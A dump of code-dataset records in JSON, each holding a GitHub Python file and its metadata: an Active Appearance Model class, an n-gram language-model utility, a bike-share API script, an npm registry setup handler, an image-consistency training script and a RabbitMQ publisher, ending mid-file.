"call"}, {"api_name": "alembic.op", "line_number": 89, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 90, "usage_type": "call"}, {"api_name": "sqlalchemy.JSON", "line_number": 90, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 91, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 91, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 92, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 92, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 93, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 93, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 94, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 94, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 94, "usage_type": "name"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 95, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 95, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 95, "usage_type": "name"}, {"api_name": "alembic.op.create_table", "line_number": 97, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 97, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 98, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 98, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 99, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 99, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 100, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 100, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 101, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 101, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 102, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 102, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 102, "usage_type": "name"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 103, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 103, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 103, "usage_type": "name"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 104, "usage_type": "call"}, {"api_name": "alembic.op.f", "line_number": 104, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 104, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 111, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 111, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 112, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 112, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 113, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 113, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 114, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 114, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 115, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 115, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 116, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 116, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 117, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 117, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 118, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 118, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 119, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 119, "usage_type": "name"}]} {"seq_id": "31531531068", "text": "from copy import deepcopy\nfrom .tools import rescale_images_to_reference_shape\nfrom .tools import svs_shape\nfrom .transforms import LinearWarp\n\nfrom menpofit.aam import HolisticAAM\n\nfrom menpo.transform.piecewiseaffine.base import CythonPWA as pwa\nfrom menpo.feature import no_op\nfrom menpo.model import PCAModel\nfrom menpofit.modelinstance import OrthoPDM\nfrom menpo.visualize import print_dynamic\n\nfrom menpofit.builder import (\n build_reference_frame,\n compute_features, scale_images,)\n\n\nclass dAAMs(HolisticAAM):\n r\"\"\"\n Active Appearance Model class.\n \"\"\"\n def __init__(self, images, group=None, verbose=False, reference_shape=None,\n holistic_features=no_op, diagonal=None, target_group=None,\n scales=(0.5, 1.0), max_shape_components=None,\n max_appearance_components=None, batch_size=None, tight_mask=True,\n shape_desc=svs_shape):\n\n self.tight_mask = tight_mask\n self.shape_desc = shape_desc\n self.target_group = target_group\n super(dAAMs, self).__init__(images, group, verbose,\n reference_shape,\n holistic_features,\n LinearWarp, diagonal,\n scales, OrthoPDM, max_shape_components,\n max_appearance_components, batch_size)\n\n\n def _train_batch(self, image_batch, increment=False, group=None,\n verbose=False, shape_forgetting_factor=1.0,\n appearance_forgetting_factor=1.0):\n r\"\"\"\n Builds an Active Appearance Model from a list of landmarked images.\n\n Parameters\n ----------\n images : list of :map:`MaskedImage`\n The set of landmarked images from which to build the AAM.\n group : `string`, optional\n The key of the landmark set that should be used. If ``None``,\n and if there is only one set of landmarks, this set will be used.\n verbose : `boolean`, optional\n Flag that controls information and progress printing.\n\n Returns\n -------\n aam : :map:`AAM`\n The AAM object. Shape and appearance models are stored from\n lowest to highest scale\n \"\"\"\n # Rescale to existing reference shape\n image_batch, self.transforms, self.reference_frame, self.n_landmarks, self.n_align_lms,_,_,_,self.reference_shape,self.debug\\\n = rescale_images_to_reference_shape(\n image_batch, group, self.reference_shape,\n tight_mask=self.tight_mask, sd=self.shape_desc, target_group=self.target_group,\n verbose=verbose\n )\n\n self.normalised_img = image_batch\n\n # build models at each scale\n if verbose:\n print_dynamic('- Building models\\n')\n\n feature_images = []\n # for each scale (low --> high)\n for j in range(self.n_scales):\n if verbose:\n if len(self.scales) > 1:\n scale_prefix = ' - Scale {}: '.format(j)\n else:\n scale_prefix = ' - '\n else:\n scale_prefix = None\n\n # Handle holistic features\n if j == 0 and self.holistic_features[j] == no_op:\n # Saves a lot of memory\n feature_images = image_batch\n elif j == 0 or self.holistic_features[j] is not self.holistic_features[j - 1]:\n # Compute features only if this is the first pass through\n # the loop or the features at this scale are different from\n # the features at the previous scale\n feature_images = compute_features(image_batch,\n self.holistic_features[j],\n prefix=scale_prefix,\n verbose=verbose)\n # handle scales\n scaled_images = feature_images\n\n # Extract potentially rescaled shapes\n scale_shapes = [i.landmarks[group].lms for i in scaled_images]\n\n # Build the shape model\n if verbose:\n print_dynamic('{}Building shape model'.format(scale_prefix))\n\n if j == 0:\n shape_model = self._build_shape_model(\n scale_shapes, j)\n self.shape_models.append(shape_model)\n else:\n self.shape_models.append(deepcopy(shape_model))\n\n # Obtain warped images - we use a scaled version of the\n # reference shape, computed here. This is because the mean\n # moves when we are incrementing, and we need a consistent\n # reference frame.\n warped_images = self.warped_images = self._warp_images(\n scaled_images, scale_shapes, self.reference_shape,\n j, scale_prefix, verbose\n )\n\n # obtain appearance model\n if verbose:\n print_dynamic('{}Building appearance model'.format(\n scale_prefix))\n\n appearance_model = PCAModel(warped_images)\n # trim appearance model if required\n if self.max_appearance_components is not None:\n appearance_model.trim_components(\n self.max_appearance_components[j])\n # add appearance model to the list\n self.appearance_models.append(appearance_model)\n\n if verbose:\n print_dynamic('{}Done\\n'.format(scale_prefix))\n\n # Because we just copy the shape model, we need to wait to trim\n # it after building each model. This ensures we can have a different\n # number of components per level\n for j, sm in enumerate(self.shape_models):\n max_sc = self.max_shape_components[j]\n if max_sc is not None:\n sm.trim_components(max_sc)\n\n def _warp_images(self, images, shapes, reference_shape, scale_index,\n prefix, verbose):\n scaled_images = scale_images(images, self.scales[scale_index],\n prefix=prefix,\n verbose=verbose)\n warpped, landmarkmapping, timages = warp_images(scaled_images, self.reference_frame, self.transforms, self.scales[scale_index])\n if self.scales[scale_index] >= 1.0:\n self.mapping = [landmarkmapping, timages]\n return warpped\n\n def _instance(self, scale_index, shape_instance, appearance_instance):\n template = self.appearance_models[scale_index].mean()\n landmarks = template.landmarks['source'].lms\n\n reference_frame = build_reference_frame(shape_instance)\n\n transform = pwa(\n reference_frame.landmarks['source'].lms, landmarks)\n\n return appearance_instance.as_unmasked(copy=False).warp_to_mask(\n reference_frame.mask, transform, warp_landmarks=True)\n\n\ndef warp_images(images, reference_frame, transforms, scale):\n\n warped_images = []\n # Build a dummy transform, use set_target for efficiency\n\n for i, t in zip(images, transforms):\n # Update Transform Target\n # warp images\n rescale = 1.0 / scale\n scale_i = i.rescale(rescale) if scale != 1.0 else i\n warped_i = scale_i.warp_to_mask(reference_frame.mask, t, warp_landmarks=False)\n # attach reference frame landmarks to images\n warped_i.landmarks['source'] = reference_frame.landmarks['source']\n warped_images.append(warped_i)\n\n landmark_mapping = []\n for i, t in zip(warped_images, transforms):\n landmark_mapping.append(t.apply(i.landmarks['source'].lms))\n\n return warped_images, landmark_mapping, images\n", "repo_name": "yuxiang-zhou/DensePoseModel", "sub_path": "dAAMs/base.py", "file_name": "base.py", "file_ext": "py", "file_size_in_byte": 7761, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "menpofit.aam.HolisticAAM", "line_number": 19, "usage_type": "name"}, {"api_name": "menpo.feature.no_op", "line_number": 24, "usage_type": "name"}, {"api_name": "tools.svs_shape", "line_number": 27, "usage_type": "name"}, {"api_name": "transforms.LinearWarp", "line_number": 35, "usage_type": "argument"}, {"api_name": "menpofit.modelinstance.OrthoPDM", "line_number": 36, "usage_type": "argument"}, {"api_name": "tools.rescale_images_to_reference_shape", "line_number": 64, "usage_type": "call"}, {"api_name": "menpo.visualize.print_dynamic", "line_number": 74, "usage_type": "call"}, {"api_name": "menpo.feature.no_op", "line_number": 88, "usage_type": "name"}, {"api_name": "menpofit.builder.compute_features", "line_number": 95, "usage_type": "call"}, {"api_name": "menpo.visualize.print_dynamic", "line_number": 107, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 114, "usage_type": "call"}, {"api_name": "menpo.visualize.print_dynamic", "line_number": 127, "usage_type": "call"}, {"api_name": "menpo.model.PCAModel", "line_number": 130, "usage_type": "call"}, {"api_name": "menpo.visualize.print_dynamic", "line_number": 139, "usage_type": "call"}, {"api_name": "menpofit.builder.scale_images", "line_number": 151, "usage_type": "call"}, {"api_name": "menpofit.builder.build_reference_frame", "line_number": 163, "usage_type": "call"}, {"api_name": "menpo.transform.piecewiseaffine.base.CythonPWA", "line_number": 165, "usage_type": "call"}]} {"seq_id": "42722764968", "text": "from collections import Counter\nimport numpy as np\n\nfrom ngram_generator import ngram_generator\nimport math\n\n'''\n由train_data得到test_sentence的unigram概率和bigram概率\nauthor:Zhu Jingwen\n计算步骤\n1. 将train_data预处理,将train_data中的单词变成原形,以列表flist输出\n2.统计flist中各单词的个数,以counter:(word,times)输出\n3.给单词表建立id,得到word2id:(word,id)\n4.得到id2word(id,word)\n5.得到二维数组,俩俩单词出现的次数\n6.得到二维数组,p(w2|w1)组成的矩阵\n7.得到1维数组,train_data中所有词的unigram\n8.计算test sentence unigram\n9.计算test sentence bigram\n'''\n\n'''\n语料库预处理,将语料库按行读取(一行为一句),将所有词还原为原型,以句子列表形式输出\n输入:\nfile_name eg.'train_LM.txt' 同一目录下的txt文件\n输出:\nf_list:文件中句子以列表输出,每个句子中的词都是原型\ne.g. [['i', 'be', 'fine', '\\n'], ['i', 'be', 'a', 'student', '\\n'],...]\n输入输出举例\n输入\ni am fine\\n\ni am a student\\n\n输出\n[['i', 'be', 'fine', '\\n'], ['i', 'be', 'a', 'student', '\\n']]\n'''\n\n\ndef f_original_shape(file_name):\n f_list = []\n f = open(file_name, 'r', encoding='utf-8', errors='ignore')\n lines = f.readlines()\n f.close()\n for line in lines:\n line = ngram_generator(line, 1)\n f_list.append(line)\n return f_list\n\n\n'''\n统计预处理过的语料库文件f_list中个单词出现的次数\n输入:\n预处理过的文件f_list\n输出:\nn*2的列表counter,n是词汇表总次数\ncounter[n][0]是word,没有重复的word\ncounter[n][1]是word出现次数\ne.g.[('be', 4), ('\\n', 3), ('a', 3), ('i', 2), ('fine', 1),...]\n'''\n\n\ndef generate_counter_list(flist):\n counter = Counter() # 词频统计\n for sentence in flist:\n for word in sentence:\n counter[word] += 1 # 计算每个字的出现次数{\"word1\":times,\"word2\":times2,...}\n counter = counter.most_common() # 将上面的结果排序{\"word1\":top_times,\"word2\":top2_times,...}\n return counter\n\n\n'''\n给单词增加id索引\n输入:\n(word,出现次数)\n输出:\nword2id:(word,id)\n'''\n\n\ndef get_word2id(counter):\n lec = len(counter) # counter中word的个数\n word2id = {counter[i][0]: i for i in range(lec)} # {'的': 0, '很': 1, '菜': 2, '她': 3, '好': 4, '他': 5, '香': 6}\n with open(\"smooth_word2id.txt\", 'w+') as fw:\n fw.write(str(word2id))\n return word2id\n\n\n'''\n将word2id反转\n输入\nword2id\n输出\nid2word:(id,word)\n'''\n\n\ndef get_id2word(word2id):\n id2word = {i: w for w, i in word2id.items()}\n return id2word\n\n\n'''\n返回bigram组成的矩阵中俩俩词的出现个数\n'''\n\n\ndef get_bigram_times(word2id, flist):\n lec = len(word2id)\n bigram = np.zeros((lec, lec)) + 1e-8\n for sentence in flist:\n sentence = [word2id[w] for w in sentence]\n for i in range(1, len(sentence)):\n bigram[[sentence[i - 1]], [sentence[i]]] += 1\n\n return bigram\n\n\n'''\n输入:word2id,预处理的文件f_list\n输出:bigram概率矩阵,举例\n[[2.49999991e-09 2.49999991e-09 4.99999984e-01 2.49999991e-09\n 2.49999993e-01 2.49999991e-09 2.49999991e-09 2.49999993e-01\n 2.49999991e-09 2.49999991e-09 2.49999991e-09 2.49999991e-09\n 2.49999991e-09 2.49999991e-09 2.49999991e-09]\n [6.66666667e-02 6.66666667e-02 6.66666667e-02 6.66666667e-02\n 6.66666667e-02 6.66666667e-02 6.66666667e-02 6.66666667e-02\n 6.66666667e-02 6.66666667e-02 6.66666667e-02 6.66666667e-02\n 6.66666667e-02 6.66666667e-02 6.66666667e-02]\n...]\n'''\n\n\ndef get_bigram(word2id, flist):\n lec = len(word2id)\n bigram = np.zeros((lec, lec)) + 1e-8\n for sentence in flist:\n sentence = [word2id[w] for w in sentence]\n for i in range(1, len(sentence)):\n bigram[[sentence[i - 1]], [sentence[i]]] += 1\n\n for i in range(lec):\n bigram[i] /= bigram[i].sum()\n return bigram\n\n\n'''\n由counter得到训练数据的unigram概率1维数组\n'''\n\n\ndef get_unigram(counter):\n unigram = np.array([i[1] for i in counter]) / sum(i[1] for i in counter)\n return unigram\n\n\n'''\nlog\n计算test sentence的unigram的概率\n输入\ntest_sentence,word2id,由训练data得到的unigram单词概率1维度数组\n输出\np_unigram(test_sentence)\n'''\n\n\ndef prob_unigram(sentence, word2id, unigram):\n lec=len(word2id)\n if lec < 1:\n return 0\n p=0.00\n for w in sentence:\n if w in word2id:\n p += math.log(unigram[word2id[w]],2)\n\n\n return p\n\n # s = [word2id[w] for w in sentence] # 将句子编程id序列[wordid1,wordid2,wordid3,...]\n # p = 0\n # les = len(s) # 句子单词个数\n # if les < 1:\n # return 0\n # for i in range(0, les):\n # # p *= unigram[s[i]]\n # p += math.log(unigram[s[i]])\n # return p\n\n\n\"\"\"\nlog结果\n输入\ntest_sentence,word2id,由训练数据得到的所有单词概率的unigram向量,bigram矩阵\n输出\np_bigram(test_sentence)\n\"\"\"\n\n\ndef prob_bigram(sentence, word2id, unigram, bigram):\n #\n # s = [word2id[w] for w in sentence] # 将句子编程id序列[wordid1,wordid2,wordid3,...]\n p = 0.00\n les = len(sentence) # 句子单词个数\n if les < 1:\n return 0\n if les < 2: # 如果句子只有一个词,则值返回unigram计算结果\n # p = math.log(unigram[s[0]],2) # 对第一个词用unigram\n p=prob_unigram(sentence,word2id,unigram)\n return p\n for i in range(1,len(sentence)):\n if sentence[i] in word2id and sentence[i-1] in word2id:\n if bigram[word2id[sentence[i - 1]], word2id[sentence[i]]]>0:\n p += math.log(bigram[word2id[sentence[i - 1]], word2id[sentence[i]]], 2)\n # for i in range(1, les): # 从第2个词开始和前一个两两组合的bigram值的乘积/如果是add_smoothing,则bigram值换成add_one矩阵代入即可\n # p += math.log(bigram[s[i - 1], s[i]],2)\n return p\n\n\n'''得到整个测试集的概率'''\ndef prob_bigram_T(test_filename,word2id,unigram,bigram):\n f = open(test_filename, 'r', encoding='utf-8', errors='ignore')\n lines = f.readlines()\n f.close()\n p=0\n for line in lines:\n line = ngram_generator(line, 1)\n res2 = prob_bigram(line, word2id, unigram, bigram)\n p+=res2\n\n return p\n\n\n'''\n该函数从数据集中返回词汇数目\nInputs:\nf: 数据集文件\n\nReturns:\nvocab_num: 词汇数目\n'''\n\n\ndef get_vocab_num(f):\n f_list = f_original_shape(f)\n vocab_num=0\n for sentence in f_list:\n vocab_num-=1 # 计算中每个句子多了一个结尾符号,所以每句话都-1\n for w in sentence:\n vocab_num+=1\n\n return vocab_num\n\n\n\n'''\nInputs:\nvocab_num: 词汇数量\ncorpus_p: 整个测试集的概率\n\nReturns: 交叉熵\n'''\n\n\ndef cross_entropy(vocab_num, log_corpus_p):\n cross_entropy = -(1 / vocab_num) * log_corpus_p\n return cross_entropy\n\n\n'''\nInputs:\ncross_entropy: 模型交叉熵\n\nReturns\nperplexity: 模型困惑度\n'''\n\n\ndef perplexity(cross_entropy):\n perplexity = 2 ** cross_entropy\n return perplexity\n\n\n\n\ndef if_equal_one(file_name):\n f = open(file_name, 'r', encoding='utf-8', errors='ignore')\n lines = f.readlines()\n for line in lines:\n line=line.split(\",\")\n sum=0\n for i in line:\n sum+=float(i)\n print(sum)\n\n return 0\n\n\ndef gramtxt_matrix(gramfile):\n f = open(gramfile, 'r', encoding='utf-8', errors='ignore')\n lines = f.readlines()\n lec=len(lines)\n gram_matrix=np.zeros((lec, lec))\n i=0\n for line in lines:\n line = line.split(\",\")\n j=0\n for item in line:\n gram_matrix[i][j]=float(item.strip())+1e-6\n j+=1\n\n i+=1\n\n return gram_matrix\n\n'''\n使用举例\n通过训练数据得到test sentence的unigram句子概率和bigram句子概率\n'''\n\n\ndef main():\n\n file_name='train.txt'\n # if_equal_one(file_name)\n # print(gramtxt_matrix(file_name))\n\n flist = f_original_shape(file_name)\n counter = generate_counter_list(flist)\n word2id = get_word2id(counter)\n unigram = get_unigram(counter)\n bigram = get_bigram(word2id, flist)\n test_txt='test.txt'\n res_T=prob_bigram_T(test_txt,word2id,unigram,bigram)\n print(test_txt,\"log概率:\",res_T)\n\n\n # test_txt = 'i am working'\n # test_pre = ngram_generator(test_txt, 1)\n # print(\"方法2:\",test_pre)\n # res1 = prob_unigram(test_pre, word2id, unigram) # test unigram概率\n # res2 = prob_bigram(test_pre, word2id, unigram, bigram) # test bigram 概率\n # cross_entropy_res=cross_entropy(3,res2)\n # pp=perplexity(cross_entropy_res)\n # print(\"unigram log概率:\",res1)\n # print(\"bigram log概率:\",res2)\n # print(\"bigram 困惑熵:\",pp)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "Cavaradossi/Language_Model", "sub_path": "common.py", "file_name": "common.py", "file_ext": "py", "file_size_in_byte": 8692, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ngram_generator.ngram_generator", "line_number": 44, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 151, "usage_type": "call"}, {"api_name": "math.log", "line_number": 172, "usage_type": "call"}, {"api_name": "math.log", "line_number": 211, "usage_type": "call"}, {"api_name": "ngram_generator.ngram_generator", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 300, "usage_type": "call"}]} {"seq_id": "10546136005", "text": "import requests\r\nimport json\r\nimport sys\r\n\r\nurl = \"http://data.ntpc.gov.tw/api/v1/rest/datastore/382000000A-000352-001\"\r\ndata = requests.get(url).json()\r\nargs=sys.argv\r\nprint(\"lon:\"+arg[1])\r\nprint(\"lat:\"+arg[2])\r\nfor key1, value1 in data[\"result\"].items():\r\n if key1==\"records\":\r\n for itemData in value1:\r\n print(itemData['sna'],itemData['sbi'])", "repo_name": "HanksCheng/PYTHONFINALPROJECT", "sub_path": "bike.py", "file_name": "bike.py", "file_ext": "py", "file_size_in_byte": 366, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.get", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 7, "usage_type": "attribute"}]} {"seq_id": "3981401108", "text": "import base64\nimport pathlib\n\nfrom handlers.base_handler import BaseHandler\n\n\nNPMRC_TEMPLATE = \"\"\"_auth = %s\nemail = %s\nalways-auth = true\"\"\"\n\n\nclass NpmHandler(BaseHandler):\n type = 'npm'\n\n def autosetup(self, repo_name):\n url = f'{self.base_api}artifactory/api/npm/npm_test/'\n command = f'npm config set registry={url}'\n\n _, error = self.run_subprocess(command)\n if error:\n return\n\n npmrc_path = pathlib.Path.home() / pathlib.Path('.npmrc')\n auth = base64.b64encode(f'{self.username}:{self.password}'.encode()).decode('utf-8')\n\n with npmrc_path.open('w+') as fobj:\n fobj.write(NPMRC_TEMPLATE % (auth, self.username))\n\n print('npm successfully set up. Deploying to this repository can be done by running the '\n 'following command:')\n print(f'npm publish --registry {url}')\n print('To resolve a package using the npm CLI, run the following command:')\n print(f'npm install --registry {url}')\n\n def teardown(self, repo_name):\n npmrc_path = pathlib.Path.home() / pathlib.Path('.npmrc')\n if npmrc_path.exists():\n npmrc_path.unlink()\n\n print('Disconnected npm from the artifactory repo.')\n", "repo_name": "Sveder/jfrog-cli-autosetup", "sub_path": "commands/handlers/npm_handler.py", "file_name": "npm_handler.py", "file_ext": "py", "file_size_in_byte": 1252, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "handlers.base_handler.BaseHandler", "line_number": 12, "usage_type": "name"}, {"api_name": "pathlib.Path.home", "line_number": 23, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "base64.b64encode", "line_number": 24, "usage_type": "call"}, {"api_name": "pathlib.Path.home", "line_number": 36, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 36, "usage_type": "attribute"}]} {"seq_id": "6719519891", "text": "from utilities import *\nimport torch.nn as nn\nfrom consistency_model import ConsistencyModel\nfrom feature_dataset import FeatureDataset\n\n\ndef collate_fn(batch):\n \"\"\"\n collate function for feature dataset\n :param batch: data batch\n :return: organized data\n \"\"\"\n\n images_a = []\n images_b = []\n labels = []\n for i in batch:\n images_a.append(i['p1'])\n images_b.append(i['p2'])\n labels.append(i['score'])\n return (torch.stack(images_a), torch.stack(images_b)), torch.stack(labels).reshape(-1, 1)\n\n\ndef train(device, loader, model, criterion, optimizer):\n \"\"\"\n train the model for one epoch\n :param device: device type\n :param loader: dataloader\n :param model: the model\n :param criterion: loss function\n :param optimizer: the optimizer\n :return: training loss\n \"\"\"\n\n loss_epoch = 0\n model.train()\n for step, (x, score) in enumerate(loader):\n optimizer.zero_grad()\n\n x = x.to(device)\n score = score.to(device)\n\n output = model(x)\n loss = criterion(output, score)\n\n loss.backward()\n optimizer.step()\n\n loss_epoch += loss.item()\n if step % 50 == 0:\n print(f\"Step [{step}/{len(loader)}]\\t Loss: {loss.item()}\", flush=True)\n\n return loss_epoch\n\n\nif __name__ == '__main__':\n if torch.cuda.is_available():\n device = torch.device(\"cuda:0\")\n else:\n device = torch.device('cpu')\n\n model_type = \"predict\"\n # model_type = \"compare\"\n\n feature_epoch = 300\n feature_model_folder = \"feature_model\"\n feature_model_path = os.path.join(feature_model_folder, \"checkpoint_{}.tar\".format(feature_epoch))\n encoder = get_resnet('resnet50', pretrained=True)\n n_features = encoder.fc.out_features # get dimensions of fc layer\n\n feature_dim = 6\n if model_type == \"compare\":\n feature_model = CompareExifModel(encoder, n_features, feature_dim)\n elif model_type == \"predict\":\n feature_model = PredictExifModel(encoder, n_features, feature_dim, partitions=10)\n else:\n raise NotImplemented\n feature_model.load_state_dict(torch.load(feature_model_path, map_location=device))\n feature_model.to(device)\n feature_model.eval()\n\n feature_dataset = FeatureDataset('datasets/label_in_wild', num_pairs=2, patch_size=128)\n feature_loader = torch.utils.data.DataLoader(\n feature_dataset,\n shuffle=True,\n batch_size=64,\n collate_fn=collate_fn,\n num_workers=4,\n pin_memory=True\n )\n\n train_X, train_y = get_data(feature_model, feature_loader, device)\n train_dataset = torch.utils.data.TensorDataset(train_X, train_y)\n train_loader = torch.utils.data.DataLoader(train_dataset, batch_size=128, shuffle=False)\n\n consistency_epoch = 300\n consistency_model_folder = \"consistency_model\"\n consistency_model_path = os.path.join(consistency_model_folder, \"checkpoint_{}.tar\".format(consistency_epoch))\n consistency_model = ConsistencyModel(feature_dim)\n # consistency_model.load_state_dict(torch.load(consistency_model_path, map_location=device))\n consistency_model.to(device)\n optimizer = torch.optim.Adam(consistency_model.parameters(), lr=1e-4)\n criterion = nn.BCELoss()\n\n logistic_epochs = 300\n for epoch in range(1, logistic_epochs + 1):\n lr = optimizer.param_groups[0][\"lr\"]\n loss_epoch = train(device, train_loader, consistency_model, criterion, optimizer)\n\n if epoch % 10 == 0:\n save_model(consistency_model, consistency_model_folder, epoch)\n\n print(f\"Epoch [{epoch}/{logistic_epochs}]\\t Loss: {loss_epoch / len(train_loader)}\\t lr: {round(lr, 5)}\", flush=True)\n", "repo_name": "nonococoleo/image-consistency", "sub_path": "train_consistency.py", "file_name": "train_consistency.py", "file_ext": "py", "file_size_in_byte": 3687, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.nn.stack", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.cuda.is_available", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.nn.cuda", "line_number": 57, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 57, "usage_type": "name"}, {"api_name": "torch.nn.device", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 58, "usage_type": "name"}, {"api_name": "torch.nn.device", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 60, "usage_type": "name"}, {"api_name": "torch.nn.load", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 78, "usage_type": "name"}, {"api_name": "feature_dataset.FeatureDataset", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.nn.utils.data.DataLoader", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 83, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 83, "usage_type": "name"}, {"api_name": "torch.nn.utils.data.TensorDataset", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 93, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 93, "usage_type": "name"}, {"api_name": "torch.nn.utils.data.DataLoader", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 94, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 94, "usage_type": "name"}, {"api_name": "consistency_model.ConsistencyModel", "line_number": 99, "usage_type": "call"}, {"api_name": "consistency_model.to", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.nn.optim.Adam", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.nn.optim", "line_number": 102, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 102, "usage_type": "name"}, {"api_name": "consistency_model.parameters", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.nn.BCELoss", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 103, "usage_type": "name"}]} {"seq_id": "59825023", "text": "import sys\n\nimport pika\n\n# set up a connection\nconnection = pika.BlockingConnection(pika.ConnectionParameters(\"localhost\"))\n\n# create a channel\nchannel = connection.channel()\n\n# declare the exchange which will be a topic type\nchannel.exchange_declare(exchange=\"topic_logs\", type=\"topic\")\n\n# get the routing key from the terminal else set a default\nrouting_key = sys.argv[1] if len(sys.argv) > 1 else \"anonymous.info\"\n\n# set a message from terminal or set a default if none is provided\nmessage = \" \".join(sys.argv[2:]) or \"Hello RabbitMQ\"\n\n# publish the message\nchannel.basic_publish(exchange=\"topic_logs\", routing_key=routing_key, body=message)\n\nprint(\"[X] Message Sent (%r,%r)\" % (routing_key, message))\n\n# close the connection\nconnection.close()\n", "repo_name": "BrianLusina/PythonSnips", "sub_path": "web/rabbit_mq/topics/emit_log_topic.py", "file_name": "emit_log_topic.py", "file_ext": "py", "file_size_in_byte": 748, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pika.BlockingConnection", "line_number": 6, "usage_type": "call"}, {"api_name": "pika.ConnectionParameters", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 15, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 18, "usage_type": "attribute"}]} {"seq_id": "11068762867", "text": "#Date 30/07/2019\n#Author: Md. Sanaul Karim\n#Associated Python Script of notebooks RFMAnalysisAndCustomerClusteringOutletWiseAgglomerativeClustering.ipynb\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport datetime\nimport pyodbc\nimport sqlalchemy 